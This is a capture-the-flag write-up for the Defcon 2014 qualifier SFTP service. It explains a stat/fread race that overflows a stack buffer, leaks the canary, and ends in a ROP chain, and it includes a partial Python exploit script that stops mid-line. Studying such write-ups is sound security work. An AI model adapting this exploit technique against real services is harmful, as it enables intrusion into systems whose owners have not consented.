Defcon 2014 CTF Quals gyno / sftp service writeup This service is a 32 bit ELF running with DEP/ASLR enabled. It implements the SFTP (as in RFC913, thanks to Gynophage for pointing that out) protocol and connection to the service was via inetd listening on port 115. The service recognizes the following commands: USER - "defcon" is acknowledged. Command not required ACCT - Command not required PASS - "defcon2014" required to authenticate and use TYPE and below DONE - exit TYPE - "-Not Implemented" LIST - two forms: LIST F - list full directory contents of any readable directory LIST V - verbose list (size/perms) of any readable directory CDIR - "-Nope" KILL - unlink any file allowed by user sftp NAME - rename a file RETR - retrieve (download) a file (more below) STOR - upload a file to server Given that the goal is to retrieve the content of /home/sftp/flag we begin by looking for basic flaws in the implementation of RETR whose handler function is located at 0x8049239. Any attempt to retrieve a file whose name contains the substring "flag" is met with "-Nice try." RETR uses the basename of the user supplied file and appends this to "/home/sftp/incoming/". If the basename begins with a '.', then we get: "-Couldn't save because directory traversal." After verifying that the requested file exists (using stat), the file size is reported back to us and then the server waits for a follow on command, either SEND or STOP. SEND initiates the download while STOP terminates the RETR command. SEND turns out to be the interesting case here. From 0x080493AF to 0x080493D7, an array is allocated on the stack alloca style: .text:080493AF mov eax, [ebp+var_37C.stat.st_size] .text:080493B2 lea edx, [eax+0Fh] .text:080493B5 mov eax, 10h .text:080493BA sub eax, 1 .text:080493BD add eax, edx .text:080493BF mov [ebp+var_390], 10h .text:080493C9 mov edx, 0 .text:080493CE div [ebp+var_390] .text:080493D4 imul eax, 10h .text:080493D7 sub esp, eax After which the requested file is opened and its contents copied into the stack array. Once the file has been read into memory, the entire contents are sent back to us. The relevant portion of the read loop is shown here: .text:0804944A mov [esp+0Ch], eax ; stream .text:0804944E mov dword ptr [esp+8], 1 ; n .text:08049456 mov dword ptr [esp+4], 1 ; size .text:0804945E mov [esp], edx ; ptr .text:08049461 call _fread .text:08049466 test eax, eax .text:08049468 jnz short file_read_loop The file is read one byte at a time until EOF is encountered. The vulnerability here is a race condition with respect to the file size. Note that the array allocation makes use of the file size as returned by stat. If the file size can be increased between the stat operation and the fread loop, then we can overflow the alloca array and do interesting things. keeping in mind that there is a canary to deal with. Winning the race turns out to be easy. Because the RETR operation waits for us to tell it to SEND, we can slip in with a second connection and STOR a new, larger version of the file we are retrieving. Once the new file has been uploaded we continue with the SEND command in our first connection. The result is that we get to overwrite beyond the end of the alloca buffer. In our exploit we restore the first byte of the index variable (see stack frame below) and overwrite the second byte to increase the index value by 0x400 leaving the false impression that the file was larger than 1024 bytes, when in fact is was only large enough to reach the index variable. alloca_buf[approximately file_size] ... -0000037C index int alloca_buf -00000378 pointer to alloca buffer <---- leak this -00000374 fread stream pointer <----- don't break this -00000370 0x364 bytes of other variables/buffers -0000000C canary dd ? <---- leak this -00000008 db ? ; undefined -00000007 db ? ; undefined -00000006 db ? ; undefined -00000005 db ? ; undefined -00000004 db ? ; undefined -00000003 db ? ; undefined -00000002 db ? ; undefined -00000001 db ? ; undefined +00000000 s db 4 dup(?) +00000004 r db 4 dup(?) +00000008 arg_0 +0000000C more stack fram for main When the fread loop sees end of file, the RETR function sends us the total number of bytes indicated by the index variable. This leaks us the entire contents of the RETR stack frame including the address of the alloca buffer and the canary value. To complete the exploit we kill our file and repeat the process using the same two connections to the sftp server. In this second round we craft the overwrite file to jump the index into the space immediately following the fread stream pointer (because we don't want fread to fail!). We then fill the space up to the canary with fluff, replace the canary with the correct value, then overwrite from saved eip onward with the rop chain below. No need to leak and fingerprint libc to find system or execve. 0x080487D0 = fopen open the flag file 0x08049218 = pop/pop/ret &alloca = address of alloca buffer, we put "/home/sftp/flag\x00" here 0x08049F54 = "r" mode for fopen 0x080486A0 = read 0x08049217 = pop/pop/pop/ret 0x00000005 = file descriptor opened by fopen 0x0804c100 = writeable buffer to receive flag content 0x00001000 = read size, enough to read entire flag 0x080486B0 = printf to print our buffer 0x08048770 = exit 0x0804c100 = writeable buffer that now holds flag content The flag is: z0mgs0fuckings1mpl3 ------------------------------------------------------------------- #! /usr/bin/python2 import select import socket import struct def recvall(socket, timeout=2.0): response = '' while (select.select([socket],[],[], timeout)[0] != []): response += socket.recv(1024) return response def login(s): s.send('PASS defcon2014\n') recvall(s) def connect(): s = socket.create_connection(('sftp_bf28442aa4ab1a4089ddca16729b29ac.2014.shallweplayaga.me', 115)) login(s) return s def stor(s, file, data): print('sending {}'.format(file)) s.send('STOR OLD {}\n'.format(file)) print s.recv(1024) s.send('SIZE {}\n'.format(len(data))) print s.recv(1024) s.send(data) print recvall(s) def kill(s, file): print('deleting {}'.format(file)) s.send('KILL {}\n'.format(file)) print s.recv(1024) #some useful pointers and stuff _fopen = 0x080487D0 ppret = 0x8049218 mode_r = 0x8049F54 _read = 0x80486A0 pppret = 0x08049217 filedes = 5 buff = 0x804c100 read_size = 0x1000 _printf = 0x80486B0 _exit = 0x8048770 conn1 = connect() conn2 = connect() kill(conn1, 'pwn3d3d') file_size = 100 buff_size = (file_size + 30) & 0xfffffff0 stor(conn1, 'pwn3d3d', 'A' * file_size) # we start retrieval conn1.send('RETR pwn3d3d\n') size = int(conn1.recv(1024)) print('file size: {}'.format(size)) # race condition: replace original file # with file that will leak about 1180 bytes from stack exploit_file = 'A' * (buff_size + 0x1c) # first byte that hits index exploit_file += chr((buff_size + 0x1c) & 0xff) #second byte of index "grows" index by 1024 exploit_file += '\x04' stor(conn2, 'pwn3d3d', exploit_file) conn1.send('SEND\n') print('retrieving file') data = recvall(conn1) canary = data[1036:1040] alloca = data[160:164] kill(conn1, 'pwn3d3d') file_size = 100 buff_size = (file_size + 30) & 0xfffffff0 stor(conn1, 'pwn3d3d', 'A' * file_size) # we start retrieval conn1.send('RETR pwn3d3d\n') size = int(conn1.recv(1024)) print('file size: {}'.format(size)) # race condition: replace original file # and setup to read the flag exploit_file = '/home/sftp/flag\x00' + 'A' * (buff_size + 0x1c) exploit_file = exploit_file[0:(buff_size + 0x1c)] # first byte that hits index exploit_file += chr((buff_size + 0x1c + 11) & 0xff) exploit_file += 'A' * 0x364 + canary + 'A' * 12 exploit_file += struct.pack("